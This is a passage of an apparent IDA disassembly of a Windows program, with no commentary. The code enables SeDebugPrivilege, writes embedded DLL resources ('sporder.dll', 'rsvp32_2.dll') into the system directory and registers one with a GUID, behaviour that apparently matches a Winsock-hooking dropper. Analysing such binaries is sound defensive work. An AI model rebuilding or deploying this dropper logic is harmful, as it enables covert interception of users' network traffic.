		mov	eax, [esi]
		test	eax, eax
		jz	short loc_401C66
		push	eax
		call	dword_401014+4
		mov	dword ptr [esi], 0


loc_401C66:				; CODE XREF: _0:00401C57j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401C70	proc near		; CODE XREF: sub_402180+7p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_401C70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4026BC
		xor	ebx, ebx
		lea	ecx, [esi+14h]
		mov	[esp+18h+var_4], ebx
		call	sub_4026A4
		lea	ecx, [esi+18h]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_4026A4
		lea	ecx, [esi+1Ch]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_4026A4
		lea	ecx, [esi+20h]
		mov	byte ptr [esp+18h+var_4], 3
		call	sub_4026A4
		mov	eax, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 4
		cmp	eax, ebx
		mov	[esi+2Bh], bl
		mov	[esi+2Ah], bl
		mov	[esi+29h], bl
		mov	[esi+28h], bl
		mov	[esi+2Ch], ebx
		jz	short loc_401D02
		push	ecx
		mov	ecx, esp
		mov	[esp+1Ch+arg_0], esp
		push	offset dword_403008
		call	sub_4026B6
		push	1
		push	1
		push	1
		mov	ecx, esi
		call	sub_401D20


loc_401D02:				; CODE XREF: sub_401C70+72j
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 10h
		retn	4
sub_401C70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401D20	proc near		; CODE XREF: sub_401C70+8Dp
					; sub_4022F0+19Fp

var_17C		= byte ptr -17Ch
var_174		= byte ptr -174h
var_173		= byte ptr -173h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		push	0FFFFFFFFh
		push	offset SEH_401D20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 16Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		mov	eax, [esp+188h+arg_8]
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[esp+188h+var_4], ebx
		jz	short loc_401D5A
		call	sub_401F80


loc_401D5A:				; CODE XREF: sub_401D20+33j
		mov	ecx, 18h
		xor	eax, eax
		lea	edi, [esp+188h+var_173]
		mov	[esp+188h+var_174], bl
		rep stosd
		stosw
		stosb
		lea	eax, [esp+188h+var_174]
		push	64h
		push	eax
		call	dword_401048+4
		lea	ecx, [esp+188h+var_174]
		lea	edi, [esi+14h]
		push	ecx
		mov	ecx, edi
		mov	[esp+eax+18Ch+var_174],	bl
		call	sub_402686
		lea	edx, [esp+188h+var_174]
		push	64h
		push	edx
		call	dword_401048	; GetSystemDirectoryA
		mov	[esp+eax+188h+var_174],	bl
		lea	ebp, [esi+18h]
		lea	eax, [esp+188h+var_174]
		mov	ecx, ebp
		push	eax
		call	sub_402686
		cmp	[esp+188h+arg_4], ebx
		jz	short loc_401DBD
		push	ebx
		call	sub_4026C2


loc_401DBD:				; CODE XREF: sub_401D20+95j
		lea	ecx, [esp+188h+var_110]
		push	104h
		push	ecx
		push	ebx
		call	off_401044
		push	eax
		call	dword_40103C+4
		cmp	[esp+188h+arg_0], ebx
		jz	short loc_401DE5
		mov	ecx, esi
		call	sub_401FD0


loc_401DE5:				; CODE XREF: sub_401D20+BCj
		lea	ebx, [esi+1Ch]
		lea	edx, [esp+188h+var_110]
		push	edx
		mov	ecx, ebx
		call	sub_402686
		push	ecx
		lea	eax, [esp+190h+arg_8]
		mov	ecx, esp
		mov	dword ptr [esp+190h+var_17C], esp
		push	eax
		call	sub_4026AA
		mov	ecx, esi
		call	sub_402050
		mov	ecx, edi
		call	sub_40269E
		mov	ecx, ebp
		call	sub_40269E
		mov	ecx, ebx
		call	sub_40269E
		lea	ecx, [esp+188h+arg_C]
		mov	[esp+188h+var_4], 0FFFFFFFFh
		call	sub_40268C
		mov	ecx, [esp+188h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 178h
		retn	10h
sub_401D20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401E60	proc near		; CODE XREF: sub_4022F0+251p
					; sub_4022F0+29Fp

var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_401E60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	[esp+24h+var_4], 1
		call	sub_4026E0
		mov	ecx, [esp+24h+arg_8]
		mov	edx, [esp+24h+arg_4]
		mov	eax, [eax+0Ch]
		push	ecx
		push	edx
		push	eax
		call	dword_401048+10h
		mov	esi, eax
		test	esi, esi
		jz	loc_401F4B
		call	sub_4026E0
		mov	eax, [eax+0Ch]
		push	esi
		push	eax
		call	dword_401048+0Ch
		mov	edi, eax
		call	sub_4026E0
		mov	eax, [eax+0Ch]
		push	esi
		push	eax
		call	dword_401048+8
		mov	esi, eax
		test	esi, esi
		jz	short loc_401F4B
		lea	ecx, [esp+24h+var_1C]
		call	sub_4026DA
		mov	eax, [esp+24h+arg_0]
		push	0
		push	1021h
		push	eax
		lea	ecx, [esp+30h+var_1C]
		mov	byte ptr [esp+30h+var_4], 2
		call	sub_4026D4
		mov	edx, [esp+24h+var_1C]
		push	edi
		push	esi
		lea	ecx, [esp+2Ch+var_1C]
		call	dword ptr [edx+40h]
		lea	ecx, [esp+24h+var_1C]
		call	sub_4026CE
		lea	ecx, [esp+24h+var_1C]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_4026C8
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 0
		call	sub_40268C
		lea	ecx, [esp+24h+arg_8]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_40268C
		pop	edi
		mov	eax, 1
		pop	esi
		mov	ecx, [esp+1Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 1Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_401F4B:				; CODE XREF: sub_401E60+3Fj
					; sub_401E60+6Bj
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 0
		call	sub_40268C
		lea	ecx, [esp+24h+arg_8]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_40268C
		mov	ecx, [esp+24h+var_C]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 1Ch
		retn	0Ch
sub_401E60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401F80	proc near		; CODE XREF: sub_401D20+35p
		push	0
		call	dword ptr loc_40119F+1
		push	eax
		call	dword ptr loc_4011A3+1
		add	esp, 8
		retn
sub_401F80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401FA0	proc near		; CODE XREF: sub_4022F0+212p
					; sub_4022F0+260p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	offset aR	; "r"
		push	eax
		call	dword ptr loc_401197+1
		add	esp, 8
		test	eax, eax
		jnz	short loc_401FBA
		retn	4
; ---------------------------------------------------------------------------


loc_401FBA:				; CODE XREF: sub_401FA0+15j
		push	eax
		call	dword ptr loc_401199+3
		add	esp, 4
		mov	eax, 1
		retn	4
sub_401FA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401FD0	proc near		; CODE XREF: sub_401D20+C0p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 1Ch
		lea	eax, [esp+1Ch+var_1C]
		push	eax
		push	28h
		call	dword_40102C	; GetCurrentProcess
		push	eax
		call	dword_401000	; OpenProcessToken
		test	eax, eax
		jnz	short loc_401FEF
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_401FEF:				; CODE XREF: sub_401FD0+19j
		lea	ecx, [esp+1Ch+var_18]
		push	ecx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	0
		call	dword_401000+4
		test	eax, eax
		jnz	short loc_402009
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_402009:				; CODE XREF: sub_401FD0+33j
		mov	edx, [esp+1Ch+var_18]
		mov	eax, [esp+1Ch+var_14]
		push	0
		push	0
		lea	ecx, [esp+24h+var_10]
		mov	[esp+24h+var_C], edx
		mov	edx, [esp+24h+var_1C]
		push	10h
		push	ecx
		push	0
		push	edx
		mov	[esp+34h+var_10], 1
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 2
		call	dword_401000+8
		call	dword_401048+14h
		neg	eax
		sbb	eax, eax
		inc	eax
		add	esp, 1Ch
		retn
sub_401FD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_402050	proc near		; CODE XREF: sub_401D20+EAp

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_402050
		push	eax
		mov	large fs:0, esp
		lea	eax, [esp+0Ch+arg_0]
		add	ecx, 20h
		push	eax
		mov	[esp+10h+var_4], 0
		call	sub_402692
		lea	ecx, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_4], 0FFFFFFFFh
		call	sub_40268C
		mov	ecx, [esp+0Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	4
sub_402050	endp

; ---------------------------------------------------------------------------
		align 10h


loc_4020A0:				; DATA XREF: _0:off_4013A8o
		mov	eax, dword_401064+98h
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4020B0	proc near		; DATA XREF: _0:00401410o
		mov	eax, offset off_4013A8
		retn
sub_4020B0	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_402140


loc_4020C0:				; CODE XREF: sub_402140+5j
		push	esi
		mov	esi, ecx
		push	0
		call	sub_4027B8
		mov	dword ptr [esi], offset	off_4013E0
		mov	eax, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_402140
; ---------------------------------------------------------------------------
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
		align 10h


loc_402100:				; DATA XREF: _0:004013E4o
		push	esi
		mov	esi, ecx
		call	sub_402120
		test	byte ptr [esp+8], 1
		jz	short loc_402118
		push	esi
		call	sub_4027BE
		add	esp, 4


loc_402118:				; CODE XREF: _0:0040210Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402120	proc near		; CODE XREF: _0:00402103p _0:00402165j
		jmp	sub_4027C4
sub_402120	endp

; ---------------------------------------------------------------------------
		align 10h


loc_402130:				; DATA XREF: _0:004011DCo
		call	sub_402140
		jmp	loc_402150
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402140	proc near		; CODE XREF: _0:loc_402130p

; FUNCTION CHUNK AT 004020C0 SIZE 00000014 BYTES

		mov	ecx, offset dword_402EE8
		jmp	loc_4020C0
sub_402140	endp

; ---------------------------------------------------------------------------
		align 10h


loc_402150:				; CODE XREF: _0:00402135j
		push	offset loc_402160
		call	sub_40283C
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_402160:				; DATA XREF: _0:loc_402150o
		mov	ecx, offset dword_402EE8
		jmp	sub_402120
; ---------------------------------------------------------------------------
		align 10h


loc_402170:				; DATA XREF: _0:004011E0o
		call	sub_402180
		jmp	loc_402190
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402180	proc near		; CODE XREF: _0:loc_402170p
		push	0
		mov	ecx, offset dword_402FB0
		call	sub_401C70
		retn
sub_402180	endp

; ---------------------------------------------------------------------------
		align 10h


loc_402190:				; CODE XREF: _0:00402175j
		push	offset loc_4021A0
		call	sub_40283C
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4021A0:				; DATA XREF: _0:loc_402190o
		mov	ecx, offset dword_402FB0
		jmp	loc_4021B0
; ---------------------------------------------------------------------------
		align 10h


loc_4021B0:				; CODE XREF: _0:004021A5j
		push	0FFFFFFFFh
		push	offset loc_402BA9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+20h]
		mov	dword ptr [esp+10h], 3
		call	sub_40268C
		lea	ecx, [esi+1Ch]
		mov	byte ptr [esp+10h], 2
		call	sub_40268C
		lea	ecx, [esi+18h]
		mov	byte ptr [esp+10h], 1
		call	sub_40268C
		lea	ecx, [esi+14h]
		mov	byte ptr [esp+10h], 0
		call	sub_40268C
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_4026B0
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_402230:				; DATA XREF: _0:004011E4o
		call	sub_402240
		jmp	loc_402250
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402240	proc near		; CODE XREF: _0:loc_402230p

var_120		= byte ptr -120h
var_114		= dword	ptr -114h
var_110		= byte ptr -110h
var_FC		= dword	ptr -0FCh
var_F4		= byte ptr -0F4h
var_F0		= byte ptr -0F0h
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_30		= dword	ptr  34h

; FUNCTION CHUNK AT 00401A20 SIZE 00000223 BYTES

		mov	ecx, offset dword_402FE8
		jmp	loc_401A20
sub_402240	endp

; ---------------------------------------------------------------------------
		align 10h


loc_402250:				; CODE XREF: _0:00402235j
		push	offset loc_402260
		call	sub_40283C
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_402260:				; DATA XREF: _0:loc_402250o
		mov	ecx, offset dword_402FE8
		jmp	loc_402270
; ---------------------------------------------------------------------------
		align 10h


loc_402270:				; CODE XREF: _0:00402265j
		push	0FFFFFFFFh
		push	offset loc_402BF4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+14h]
		mov	dword ptr [esp+10h], 4
		call	sub_40268C
		lea	ecx, [esi+10h]
		mov	byte ptr [esp+10h], 3
		call	sub_40268C
		lea	ecx, [esi+0Ch]
		mov	byte ptr [esp+10h], 2
		call	sub_40268C
		lea	ecx, [esi+8]
		mov	byte ptr [esp+10h], 1
		call	sub_40268C
		lea	ecx, [esi+4]
		mov	byte ptr [esp+10h], 0
		call	sub_40268C
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_40268C
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4022F0	proc near		; DATA XREF: _0:00401438o

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4022F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	offset aNjosphlbmombii ; " njosphlbmombiifgomrkdmdfgr"
		lea	ecx, [esp+54h+var_3C]
		call	sub_4026B6
		xor	ebx, ebx
		push	offset aEndedIn	; "ended in "
		lea	ecx, [esp+54h+var_40]
		mov	[esp+54h+var_4], ebx
		call	sub_4026B6
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 1
		call	sub_4027CA
		lea	ecx, [esp+50h+var_40]
		call	sub_4027CA
		lea	ecx, [esp+50h+var_40]
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_40268C
		or	esi, 0FFFFFFFFh
		lea	ecx, [esp+50h+var_3C]
		mov	[esp+50h+var_4], esi
		call	sub_40268C
		push	offset aHsebnfmsqijorf ; " hsebnfmsqijorfjooonckehpdp"
		lea	ecx, [esp+54h+var_40]
		call	sub_4026B6
		push	offset a1992	; "1992	"
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 2
		call	sub_4026B6
		lea	ecx, [esp+50h+var_40]
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_4027CA
		lea	ecx, [esp+50h+var_3C]
		call	sub_4027CA
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 2
		call	sub_40268C
		lea	ecx, [esp+50h+var_40]
		mov	[esp+50h+var_4], esi
		call	sub_40268C
		push	offset aNrlqomhqibqjsq ; " nrlqomhqibqjsqderqpkghlrk"
		lea	ecx, [esp+54h+var_40]
		call	sub_4026B6
		push	offset aLaboratory ; "Laboratory "
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 4
		call	sub_4026B6
		lea	ecx, [esp+50h+var_40]
		mov	byte ptr [esp+50h+var_4], 5
		call	sub_4027CA
		lea	ecx, [esp+50h+var_3C]
		call	sub_4027CA
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 4
		call	sub_40268C
		lea	ecx, [esp+50h+var_40]
		mov	[esp+50h+var_4], esi
		call	sub_40268C
		push	offset aGobmccpsmrmggc ; " gobmccpsmrmggcomcenldrg"
		lea	ecx, [esp+54h+var_40]
		call	sub_4026B6
		push	offset aPersonnel ; "personnel "
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 6
		call	sub_4026B6
		lea	ecx, [esp+50h+var_40]
		mov	byte ptr [esp+50h+var_4], 7
		call	sub_4027CA
		lea	ecx, [esp+50h+var_3C]
		call	sub_4027CA
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 6
		call	sub_40268C
		lea	ecx, [esp+50h+var_40]
		mov	[esp+50h+var_4], esi
		call	sub_40268C
		lea	ecx, [esp+50h+var_10]
		call	sub_4026A4
		push	ecx
		mov	[esp+54h+var_4], 8
		mov	ecx, esp
		mov	[esp+54h+var_38], esp
		push	offset dword_403008
		call	sub_4026B6
		push	1
		push	1
		push	1
		mov	ecx, offset dword_402FB0
		call	sub_401D20
		lea	eax, [esp+4Ch+var_38]
		mov	ecx, offset dword_402FE8
		push	eax
		call	sub_402640
		push	offset aSporder_dll ; "sporder.dll"
		lea	ecx, [esp+50h+var_40]
		push	eax
		push	ecx
		mov	byte ptr [esp+58h], 9
		call	sub_402698
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0Bh
		call	sub_40268C
		lea	edx, [esp+50h+var_38]
		mov	ecx, offset dword_402FE8
		push	edx
		call	sub_402640
		push	offset aRsvp32_2_dll ; "rsvp32_2.dll"
		push	eax
		lea	eax, [esp+58h+var_48]
		mov	byte ptr [esp+58h+var_4], 0Ch
		push	eax
		call	sub_402698
		lea	ecx, [esp+50h+var_38]
		mov	byte ptr [esp+50h+var_4], 0Eh
		call	sub_40268C
		mov	ecx, [esp+50h+var_44]
		push	ecx
		mov	ecx, offset dword_402FB0
		call	sub_401FA0
		test	eax, eax
		jnz	short loc_402546
		push	ecx
		mov	ecx, esp
		mov	dword ptr [esp+54h+var_40], esp
		push	offset aDll	; "DLL"
		call	sub_4026B6
		push	81h
		push	ecx
		lea	edx, [esp+58h+var_40]
		mov	ecx, esp
		mov	dword ptr [esp+58h+var_30], esp
		push	edx
		mov	byte ptr [esp+5Ch], 0Fh
		call	sub_4026AA
		mov	ecx, offset dword_402FB0
		mov	byte ptr [esp+5Ch+var_4], 0Eh
		call	sub_401E60


loc_402546:				; CODE XREF: sub_4022F0+219j
		mov	eax, [esp+50h+var_48]
		mov	ecx, offset dword_402FB0
		push	eax
		call	sub_401FA0
		test	eax, eax
		jnz	short loc_40259C
		push	ecx
		mov	ecx, esp
		mov	dword ptr [esp+54h+var_34], esp
		push	offset aDll	; "DLL"
		call	sub_4026B6
		push	83h
		push	ecx
		lea	edx, [esp+60h+var_4C]
		mov	ecx, esp
		mov	[esp+60h+var_44], esp
		push	edx
		mov	byte ptr [esp+64h+var_8], 10h
		call	sub_4026AA
		mov	ecx, offset dword_402FB0
		mov	byte ptr [esp+58h], 0Eh
		call	sub_401E60
		push	64h
		call	dword_401030	; Sleep


loc_40259C:				; CODE XREF: sub_4022F0+267j
		push	offset aRsvp32_2_dll ; "rsvp32_2.dll"
		mov	eax, 6A31F261h
		sub	esp, 10h
		mov	word ptr [esp+64h+var_2C], 0DF30h
		mov	ecx, esp
		mov	word ptr [esp+64h+var_2C+2], 11CFh
		mov	edx, [esp+64h+var_2C]
		mov	byte ptr [esp+64h+var_28], 89h
		mov	[ecx], eax
		mov	byte ptr [esp+64h+var_28+1], 27h
		mov	byte ptr [esp+64h+var_28+2], bl
		mov	byte ptr [esp+64h+var_28+3], 0AAh
		mov	eax, [esp+64h+var_28]
		mov	[ecx+4], edx
		mov	byte ptr [esp+64h+var_24], bl
		mov	byte ptr [esp+64h+var_24+1], 53h
		mov	byte ptr [esp+64h+var_24+2], 9Fh
		mov	byte ptr [esp+64h+var_24+3], 1Ch
		mov	edx, [esp+64h+var_24]
		mov	[ecx+8], eax
		mov	[ecx+0Ch], edx
		lea	ecx, [esp+64h+var_20]
		call	sub_4017D0
		lea	ecx, [esp+50h+var_48]
		mov	byte ptr [esp+50h+var_4], 0Bh
		call	sub_40268C
		lea	ecx, [esp+50h+var_44]
		mov	byte ptr [esp+50h+var_4], 8
		call	sub_40268C
		lea	ecx, [esp+50h+var_10]
		mov	[esp+50h+var_4], esi
		call	sub_40268C
		mov	ecx, [esp+50h+var_C]
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 48h
		retn
sub_4022F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402640	proc near		; CODE XREF: sub_4022F0+1AEp
					; sub_4022F0+1E0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	esi
		mov	esi, [esp+8+arg_0]
		add	ecx, 8
		push	offset asc_4012C8 ; "\\"
		push	ecx
		push	esi
		mov	[esp+14h+var_4], 0
		call	sub_402698
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_402640	endp

; ---------------------------------------------------------------------------
		align 10h


loc_402670:				; CODE XREF: _0:00402C43j
		add	ecx, 10h
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		align 10h
		jmp	dword_401104+44h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402686	proc near		; CODE XREF: sub_4017D0+54p
					; sub_402240-75Ep ...
		jmp	dword_401104+3Ch
sub_402686	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40268C	proc near		; CODE XREF: sub_402240-628p
					; sub_401D20+116p ...
		jmp	dword_401104+38h
sub_40268C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402692	proc near		; CODE XREF: sub_402240-639p
					; sub_402050+25p
		jmp	dword_401104+34h
sub_402692	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402698	proc near		; CODE XREF: sub_402240-64Ap
					; sub_4022F0+1C3p ...
		jmp	dword_401104+30h
sub_402698	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40269E	proc near		; CODE XREF: sub_402240-677p
					; sub_402240-670p ...
		jmp	dword_401104+2Ch
sub_40269E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026A4	proc near		; CODE XREF: sub_402240-7FBp
					; sub_402240-7E8p ...
		jmp	dword_401104+28h
sub_4026A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026AA	proc near		; CODE XREF: sub_401D20+E3p
					; sub_4022F0+242p ...
		jmp	dword_401104+24h
sub_4026AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026B0	proc near		; CODE XREF: _0:0040220Ep _0:00402AD3j ...
		jmp	dword_401104+20h
sub_4026B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026B6	proc near		; CODE XREF: sub_401C70+80p
					; sub_4022F0+23p ...
		jmp	dword_401104+1Ch
sub_4026B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026BC	proc near		; CODE XREF: sub_401C70+1Ep
		jmp	dword_401104+18h
sub_4026BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026C2	proc near		; CODE XREF: sub_401D20+98p
		jmp	dword_401104+14h
sub_4026C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026C8	proc near		; CODE XREF: sub_401E60+AFp
					; _0:00402B43j
		jmp	dword_401104+10h
sub_4026C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026CE	proc near		; CODE XREF: sub_401E60+A1p
		jmp	dword_401104+0Ch
sub_4026CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026D4	proc near		; CODE XREF: sub_401E60+8Bp
		jmp	dword_401104+8
sub_4026D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026DA	proc near		; CODE XREF: sub_401E60+71p
		jmp	dword_401104+4
sub_4026DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026E0	proc near		; CODE XREF: sub_401E60+22p
					; sub_401E60+45p ...
		jmp	dword_401104
sub_4026E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026E6	proc near		; DATA XREF: _0:00401480o
		jmp	dword_401064+4Ch
sub_4026E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026EC	proc near		; DATA XREF: _0:0040147Co
		jmp	dword_401064
sub_4026EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026F2	proc near		; DATA XREF: _0:00401478o
		jmp	dword_401064+4
sub_4026F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026F8	proc near		; DATA XREF: _0:00401474o
		jmp	dword_401064+8
sub_4026F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4026FE	proc near		; DATA XREF: _0:00401470o
		jmp	dword_401064+0Ch
sub_4026FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402704	proc near		; DATA XREF: _0:0040146Co
		jmp	dword_401064+10h
sub_402704	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40270A	proc near		; DATA XREF: _0:00401468o
		jmp	dword_401064+14h
sub_40270A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402710	proc near		; DATA XREF: _0:00401464o
		jmp	dword_401064+18h
sub_402710	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402716	proc near		; DATA XREF: _0:00401460o
		jmp	dword_401064+1Ch
sub_402716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40271C	proc near		; DATA XREF: _0:0040145Co
		jmp	dword_401064+20h
sub_40271C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402722	proc near		; DATA XREF: _0:00401458o
		jmp	dword_401064+24h
sub_402722	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402728	proc near		; DATA XREF: _0:00401454o
		jmp	dword_401064+28h
sub_402728	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40272E	proc near		; DATA XREF: _0:00401450o
		jmp	dword_401064+2Ch
sub_40272E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402734	proc near		; DATA XREF: _0:0040144Co
		jmp	dword_401064+30h
sub_402734	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40273A	proc near		; DATA XREF: _0:00401448o
		jmp	dword_401064+34h
sub_40273A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402740	proc near		; DATA XREF: _0:00401444o
		jmp	dword_401064+38h
sub_402740	endp


